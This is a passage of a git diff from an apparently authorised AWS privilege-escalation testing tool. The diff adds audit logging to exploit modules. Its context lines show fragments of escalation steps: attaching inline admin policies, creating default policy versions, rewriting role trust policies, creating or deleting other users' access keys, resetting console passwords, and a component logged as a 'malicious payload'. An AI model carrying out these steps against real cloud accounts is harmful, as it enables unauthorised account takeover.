fmt.Printf("Current identity: %s\n", aws.ToString(callerIdentity.Arn)) accountID := aws.ToString(callerIdentity.Account) callerIsUser := strings.Contains(aws.ToString(callerIdentity.Arn), ":user/") @@ -196,6 +201,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if assumeErr != nil { return "", fmt.Errorf("failed to assume role '%s': %v", roleName, assumeErr) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed admin role %s to perform CreateLoginProfile", roleName), + map[string]string{"role_arn": adminRoleArn}) + } fmt.Printf("Successfully assumed role '%s'.\n", roleName) iamConfig = config.Copy() @@ -249,6 +259,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to create login profile: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "CreateLoginProfile", config.Region, + fmt.Sprintf("Created console login profile for user %s", targetUser), + map[string]string{"user_name": targetUser}) + } fmt.Printf("Successfully created login profile for user '%s'!\n", targetUser) diff --git a/pkg/exploits/iam_createpolicyversion_assumerole/module.go b/pkg/exploits/iam_createpolicyversion_assumerole/module.go index 4e9dffd..e08f5f1 100644 --- a/pkg/exploits/iam_createpolicyversion_assumerole/module.go +++ b/pkg/exploits/iam_createpolicyversion_assumerole/module.go @@ -87,7 +87,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverAssumableRoles(context.Background(), config) + return discovery.DiscoverAssumableRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -106,6 +106,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger policyArn := options["POLICY_ARN"] if policyArn == "" { return "", fmt.Errorf("POLICY_ARN is required") @@ -135,6 +136,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -156,6 +161,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { versionID := aws.ToString(createResult.PolicyVersion.VersionId) fmt.Printf("Created policy version %s (set as default).\n", versionID) + if logger != nil { + logger.LogAWSCall("iam", "CreatePolicyVersion", config.Region, + fmt.Sprintf("Created admin policy version %s for policy %s (set as default)", versionID, policyArn), + map[string]string{"policy_arn": policyArn, "version_id": versionID}) + } tracker.TrackResource(modules.CreatedResource{ Type: "iam:policy-version", Name: fmt.Sprintf("policy-version-%s", versionID), @@ -181,6 +191,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to assume role '%s': %v", roleName, err) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s after creating admin policy version", roleName), + map[string]string{"role_arn": targetRoleArn}) + } newAccessKeyID := aws.ToString(assumeResult.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_createpolicyversion_updateassumerolepolicy/module.go b/pkg/exploits/iam_createpolicyversion_updateassumerolepolicy/module.go index 0d8257b..1937fed 100644 --- a/pkg/exploits/iam_createpolicyversion_updateassumerolepolicy/module.go +++ b/pkg/exploits/iam_createpolicyversion_updateassumerolepolicy/module.go @@ -89,7 +89,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMRoles(context.Background(), config) + return discovery.DiscoverIAMRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -110,6 +110,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger policyArn := options["POLICY_ARN"] if policyArn == "" { return "", fmt.Errorf("POLICY_ARN is required") @@ -135,6 +136,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) callerAccount := aws.ToString(callerIdentity.Account) fmt.Printf("Current identity: %s\n", callerArn) @@ -177,6 +182,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { versionID := aws.ToString(createResult.PolicyVersion.VersionId) fmt.Printf("Created policy version %s (set as default).\n", versionID) + if logger != nil { + logger.LogAWSCall("iam", "CreatePolicyVersion", config.Region, + fmt.Sprintf("Created admin policy version %s for policy %s (set as default)", versionID, policyArn), + map[string]string{"policy_arn": policyArn, "version_id": versionID}) + } tracker.TrackResource(modules.CreatedResource{ Type: "iam:policy-version", Name: fmt.Sprintf("policy-version-%s", versionID), @@ -219,6 +229,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to update assume role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "UpdateAssumeRolePolicy", config.Region, + fmt.Sprintf("Updated trust policy for role %s to allow caller assumption", targetRole), + map[string]string{"role_name": targetRole, "trust_principal": trustPrincipal}) + } fmt.Println("Successfully updated trust policy!") tracker.TrackResource(modules.CreatedResource{ @@ -244,6 +259,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to assume role '%s': %v", targetRole, err) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s after creating admin policy version and updating trust policy", targetRole), + map[string]string{"role_arn": roleArn}) + } newAccessKeyID := aws.ToString(assumeResult.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_deleteaccesskey_createaccesskey/module.go b/pkg/exploits/iam_deleteaccesskey_createaccesskey/module.go index 6c9962f..231c876 100644 --- a/pkg/exploits/iam_deleteaccesskey_createaccesskey/module.go +++ b/pkg/exploits/iam_deleteaccesskey_createaccesskey/module.go @@ -92,7 +92,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMUsers(context.Background(), config) + return discovery.DiscoverIAMUsers(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -131,6 +131,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetUser := options["TARGET_USER"] if targetUser == "" { return "", fmt.Errorf("TARGET_USER is required") @@ -154,6 +155,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } fmt.Printf("Current identity: %s\n", aws.ToString(callerIdentity.Arn)) iamClient := iam.NewFromConfig(config) @@ -170,6 +175,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to list access keys for user '%s': %v", targetUser, err) } + if logger != nil { + logger.LogAWSCall("iam", "ListAccessKeys", config.Region, + fmt.Sprintf("Listed access keys for user %s", targetUser), + map[string]string{"user_name": targetUser}) + } keyCount := len(listResult.AccessKeyMetadata) fmt.Printf("Found %d existing access key(s):\n", keyCount) @@ -199,6 +209,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to delete access key %s: %v", deleteKeyID, err) } + if logger != nil { + logger.LogAWSCall("iam", "DeleteAccessKey", config.Region, + fmt.Sprintf("Deleted access key %s for user %s to make room for new key", deleteKeyID, targetUser), + map[string]string{"user_name": targetUser, "access_key_id": deleteKeyID}) + } fmt.Printf("Successfully deleted access key: %s\n", deleteKeyID) } else if keyCount == 1 { fmt.Println("\nUser has only 1 key. No deletion needed.") @@ -223,6 +238,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { newSecretKey := aws.ToString(createResult.AccessKey.SecretAccessKey) fmt.Printf("Successfully created access key: %s\n", newAccessKeyID) + if logger != nil { + logger.LogAWSCall("iam", "CreateAccessKey", config.Region, + fmt.Sprintf("Created access key for user %s to gain their permissions", targetUser), + map[string]string{"user_name": targetUser, "access_key_id": newAccessKeyID}) + } // Track the created access key for cleanup tracker.TrackResource(modules.CreatedResource{ diff --git a/pkg/exploits/iam_putgrouppolicy/module.go b/pkg/exploits/iam_putgrouppolicy/module.go index 32c44e1..911795b 100644 --- a/pkg/exploits/iam_putgrouppolicy/module.go +++ b/pkg/exploits/iam_putgrouppolicy/module.go @@ -99,7 +99,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverCallerGroups(context.Background(), config) + return discovery.DiscoverCallerGroups(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -139,6 +139,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger groupName := options["GROUP_NAME"] if groupName == "" { return "", fmt.Errorf("GROUP_NAME is required") @@ -164,6 +165,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -184,6 +189,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to put group policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "PutGroupPolicy", config.Region, + fmt.Sprintf("Added inline admin policy %s to group %s", policyName, groupName), + map[string]string{"group_name": groupName, "policy_name": policyName}) + } fmt.Printf("Successfully added inline policy '%s' to group '%s'.\n", policyName, groupName) diff --git a/pkg/exploits/iam_putrolepolicy/module.go b/pkg/exploits/iam_putrolepolicy/module.go index 211d430..2ee60fc 100644 --- a/pkg/exploits/iam_putrolepolicy/module.go +++ b/pkg/exploits/iam_putrolepolicy/module.go @@ -142,7 +142,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverIAMRoles(context.Background(), config) + return discovery.DiscoverIAMRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -153,6 +153,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger policyName := options["POLICY_NAME"] if policyName == "" { policyName = "pathrunner-admin" @@ -173,6 +174,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -215,6 +220,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if assumeErr != nil { return "", fmt.Errorf("failed to assume role '%s': %v", roleName, assumeErr) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s to perform PutRolePolicy self-escalation", roleName), + map[string]string{"role_arn": roleArn}) + } fmt.Printf("Successfully assumed role '%s'.\n", roleName) // Build a config using the assumed role credentials @@ -247,6 +257,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to put role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "PutRolePolicy", config.Region, + fmt.Sprintf("Added inline admin policy %s to role %s", policyName, roleName), + map[string]string{"role_name": roleName, "policy_name": policyName}) + } fmt.Printf("Successfully added inline policy '%s' to role '%s'.\n", policyName, roleName) @@ -289,6 +304,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if assumeErr2 != nil { return "", fmt.Errorf("failed to re-assume role '%s' after escalation: %v", roleName, assumeErr2) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Re-assumed role %s with elevated inline admin policy", roleName), + map[string]string{"role_arn": roleArn}) + } newAccessKeyID := aws.ToString(assumeResult2.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult2.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_putrolepolicy_assumerole/module.go b/pkg/exploits/iam_putrolepolicy_assumerole/module.go index 4cb561a..75a9acf 100644 --- a/pkg/exploits/iam_putrolepolicy_assumerole/module.go +++ b/pkg/exploits/iam_putrolepolicy_assumerole/module.go @@ -85,7 +85,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverAssumableRoles(context.Background(), config) + return discovery.DiscoverAssumableRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -104,6 +104,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetRoleArn := options["TARGET_ROLE"] if targetRoleArn == "" { return "", fmt.Errorf("TARGET_ROLE is required") @@ -134,6 +135,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -152,6 +157,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to put role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "PutRolePolicy", config.Region, + fmt.Sprintf("Added inline admin policy %s to role %s", policyName, roleName), + map[string]string{"role_arn": targetRoleArn, "policy_name": policyName}) + } fmt.Printf("Successfully added inline policy to role '%s'.\n", roleName) tracker.TrackResource(modules.CreatedResource{ @@ -176,6 +186,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to assume role '%s': %v", roleName, err) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s after adding inline admin policy", roleName), + map[string]string{"role_arn": targetRoleArn}) + } newAccessKeyID := aws.ToString(assumeResult.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_putrolepolicy_updateassumerolepolicy/module.go b/pkg/exploits/iam_putrolepolicy_updateassumerolepolicy/module.go index 67600b8..a9b0af1 100644 --- a/pkg/exploits/iam_putrolepolicy_updateassumerolepolicy/module.go +++ b/pkg/exploits/iam_putrolepolicy_updateassumerolepolicy/module.go @@ -86,7 +86,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMRoles(context.Background(), config) + return discovery.DiscoverIAMRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -107,6 +107,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetRole := options["TARGET_ROLE"] if targetRole == "" { return "", fmt.Errorf("TARGET_ROLE is required") @@ -132,6 +133,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) callerAccount := aws.ToString(callerIdentity.Account) fmt.Printf("Current identity: %s\n", callerArn) @@ -171,6 +176,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to put role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "PutRolePolicy", config.Region, + fmt.Sprintf("Added inline admin policy %s to role %s", policyName, targetRole), + map[string]string{"role_name": targetRole, "policy_name": policyName}) + } fmt.Printf("Successfully added inline policy to role '%s'.\n", targetRole) tracker.TrackResource(modules.CreatedResource{ @@ -212,6 +222,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to update assume role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "UpdateAssumeRolePolicy", config.Region, + fmt.Sprintf("Updated trust policy for role %s to allow caller assumption", targetRole), + map[string]string{"role_name": targetRole, "trust_principal": trustPrincipal}) + } fmt.Println("Successfully updated trust policy!") tracker.TrackResource(modules.CreatedResource{ @@ -237,6 +252,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to assume role '%s': %v", targetRole, err) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s after adding inline admin policy and updating trust policy", targetRole), + map[string]string{"role_arn": roleArn}) + } newAccessKeyID := aws.ToString(assumeResult.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_putuserpolicy/module.go b/pkg/exploits/iam_putuserpolicy/module.go index f18cbd1..e904da6 100644 --- a/pkg/exploits/iam_putuserpolicy/module.go +++ b/pkg/exploits/iam_putuserpolicy/module.go @@ -114,6 +114,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger policyName := options["POLICY_NAME"] if policyName == "" { policyName = "pathrunner-admin" @@ -134,6 +135,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -160,6 +165,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to put user policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "PutUserPolicy", config.Region, + fmt.Sprintf("Added inline admin policy %s to user %s", policyName, userName), + map[string]string{"user_name": userName, "policy_name": policyName}) + } fmt.Printf("Successfully added inline policy '%s' to user '%s'.\n", policyName, userName) diff --git a/pkg/exploits/iam_putuserpolicy_createaccesskey/module.go b/pkg/exploits/iam_putuserpolicy_createaccesskey/module.go index ae655cf..eb7e6fe 100644 --- a/pkg/exploits/iam_putuserpolicy_createaccesskey/module.go +++ b/pkg/exploits/iam_putuserpolicy_createaccesskey/module.go @@ -87,7 +87,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMUsers(context.Background(), config) + return discovery.DiscoverIAMUsers(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -106,6 +106,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetUser := options["TARGET_USER"] if targetUser == "" { return "", fmt.Errorf("TARGET_USER is required") @@ -130,6 +131,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -149,6 +154,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to put user policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "PutUserPolicy", config.Region, + fmt.Sprintf("Added inline admin policy %s to user %s", policyName, targetUser), + map[string]string{"user_name": targetUser, "policy_name": policyName}) + } fmt.Printf("Successfully added inline policy to user '%s'.\n", targetUser) tracker.TrackResource(modules.CreatedResource{ @@ -176,6 +186,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { newAccessKeyID := aws.ToString(createResult.AccessKey.AccessKeyId) newSecretKey := aws.ToString(createResult.AccessKey.SecretAccessKey) fmt.Printf("Created access key: %s\n", newAccessKeyID) + if logger != nil { + logger.LogAWSCall("iam", "CreateAccessKey", config.Region, + fmt.Sprintf("Created access key for user %s to gain their elevated permissions", targetUser), + map[string]string{"user_name": targetUser, "access_key_id": newAccessKeyID}) + } tracker.TrackResource(modules.CreatedResource{ Type: "iam:access-key", Name: newAccessKeyID, Region: config.Region, diff --git a/pkg/exploits/iam_updateassumerolepolicy/module.go b/pkg/exploits/iam_updateassumerolepolicy/module.go index c035f8c..b7a0247 100644 --- a/pkg/exploits/iam_updateassumerolepolicy/module.go +++ b/pkg/exploits/iam_updateassumerolepolicy/module.go @@ -89,7 +89,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMRoles(context.Background(), config) + return discovery.DiscoverIAMRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -135,6 +135,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetRole := options["TARGET_ROLE"] if targetRole == "" { return "", fmt.Errorf("TARGET_ROLE is required") @@ -155,6 +156,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) callerAccount := aws.ToString(callerIdentity.Account) @@ -208,6 +213,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to update assume role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "UpdateAssumeRolePolicy", config.Region, + fmt.Sprintf("Updated trust policy for role %s to trust principal %s", targetRole, trustPrincipal), + map[string]string{"role_name": targetRole, "role_arn": roleArn, "trust_principal": trustPrincipal}) + } fmt.Println("Successfully updated trust policy!") @@ -264,6 +274,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to assume role '%s': %v", targetRole, err) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s after updating trust policy to allow assumption", targetRole), + map[string]string{"role_arn": roleArn}) + } newAccessKeyID := aws.ToString(assumeResult.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_updateloginprofile/module.go b/pkg/exploits/iam_updateloginprofile/module.go index cccb7ab..485248a 100644 --- a/pkg/exploits/iam_updateloginprofile/module.go +++ b/pkg/exploits/iam_updateloginprofile/module.go @@ -92,7 +92,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMUsers(context.Background(), config) + return discovery.DiscoverIAMUsers(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -130,7 +130,8 @@ func (m *Module) Options() []modules.Option { func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options - _ = ectx.Tracker + tracker := ectx.Tracker + logger := ectx.Logger targetUser := options["TARGET_USER"] if targetUser == "" { return "", fmt.Errorf("TARGET_USER is required") @@ -165,6 +166,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } fmt.Printf("Current identity: %s\n", aws.ToString(callerIdentity.Arn)) accountID := aws.ToString(callerIdentity.Account) @@ -204,6 +209,23 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to update login profile: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "UpdateLoginProfile", config.Region, + fmt.Sprintf("Updated console login profile password for user %s", targetUser), + map[string]string{"user_name": targetUser}) + } + if tracker != nil { + tracker.TrackResource(modules.CreatedResource{ + Type: "iam:login-profile-update", + Name: targetUser, + Region: config.Region, + CleanupMethod: "iam:UpdateLoginProfile", + ModuleID: "iam-006", + Metadata: map[string]string{ + "username": targetUser, + }, + }) + } fmt.Printf("Successfully updated login profile for user '%s'!\n", targetUser) diff --git a/pkg/exploits/imagebuilder_passrole/module.go b/pkg/exploits/imagebuilder_passrole/module.go index 546c491..0e23962 100644 --- a/pkg/exploits/imagebuilder_passrole/module.go +++ b/pkg/exploits/imagebuilder_passrole/module.go @@ -119,11 +119,11 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "INSTANCE_PROFILE": - return discovery.DiscoverInstanceProfiles(context.Background(), getConfig()) + return discovery.DiscoverInstanceProfiles(context.Background(), getConfig(), m.DiscoveryLogger) case "SUBNET_ID": - return discovery.DiscoverSubnets(context.Background(), getConfig()) + return discovery.DiscoverSubnets(context.Background(), getConfig(), m.DiscoveryLogger) case "SECURITY_GROUP_ID": - return discovery.DiscoverSecurityGroups(context.Background(), getConfig()) + return discovery.DiscoverSecurityGroups(context.Background(), getConfig(), m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -199,6 +199,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger instanceProfileRaw := options["INSTANCE_PROFILE"] // The Image Builder API requires the instance profile name, not its ARN. @@ -288,6 +289,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { componentArn := aws.ToString(componentOutput.ComponentBuildVersionArn) fmt.Printf("Component created: %s\n", componentArn) + if logger != nil { + logger.LogAWSCall("imagebuilder", "CreateComponent", region, + fmt.Sprintf("Created Image Builder component %s with malicious payload", componentName), + map[string]string{"component_arn": componentArn, "component_name": componentName}) + } // Track the component for cleanup if tracker != nil { @@ -380,6 +386,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { infraConfigArn := aws.ToString(infraOutput.InfrastructureConfigurationArn) fmt.Printf("Infrastructure configuration created (iam:PassRole executed): %s\n", infraConfigArn) + if logger != nil { + logger.LogAWSCall("imagebuilder", "CreateInfrastructureConfiguration", region, + fmt.Sprintf("Created Image Builder infra config %s with instance profile %s (iam:PassRole)", infraConfigName, instanceProfile), + map[string]string{"infra_config_arn": infraConfigArn, "instance_profile": instanceProfile}) + } if tracker != nil { tracker.TrackResource(modules.CreatedResource{ diff --git a/pkg/exploits/kinesisanalytics_passrole/module.go b/pkg/exploits/kinesisanalytics_passrole/module.go index 0095792..256c060 100644 --- a/pkg/exploits/kinesisanalytics_passrole/module.go +++ b/pkg/exploits/kinesisanalytics_passrole/module.go @@ -114,7 +114,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "kinesisanalytics.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "kinesisanalytics.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -174,6 +174,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger payloadType := options["PAYLOAD"] roleArn := options["ROLE_ARN"] @@ -353,6 +354,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { appDetail := createResult.ApplicationDetail createTimestamp := appDetail.CreateTimestamp fmt.Printf("Flink application created: %s\n", aws.ToString(appDetail.ApplicationARN)) + if logger != nil { + logger.LogAWSCall("kinesisanalyticsv2", "CreateApplication", region, + fmt.Sprintf("Created Kinesis Analytics Flink application %s with execution role %s", appName, roleArn), + map[string]string{"application_arn": aws.ToString(appDetail.ApplicationARN), "app_name": appName, "role_arn": roleArn}) + } if tracker != nil { tracker.TrackResource(modules.CreatedResource{ diff --git a/pkg/exploits/lambda_createfunction_addpermission/module.go b/pkg/exploits/lambda_createfunction_addpermission/module.go index 3645c4e..996dc5d 100644 --- 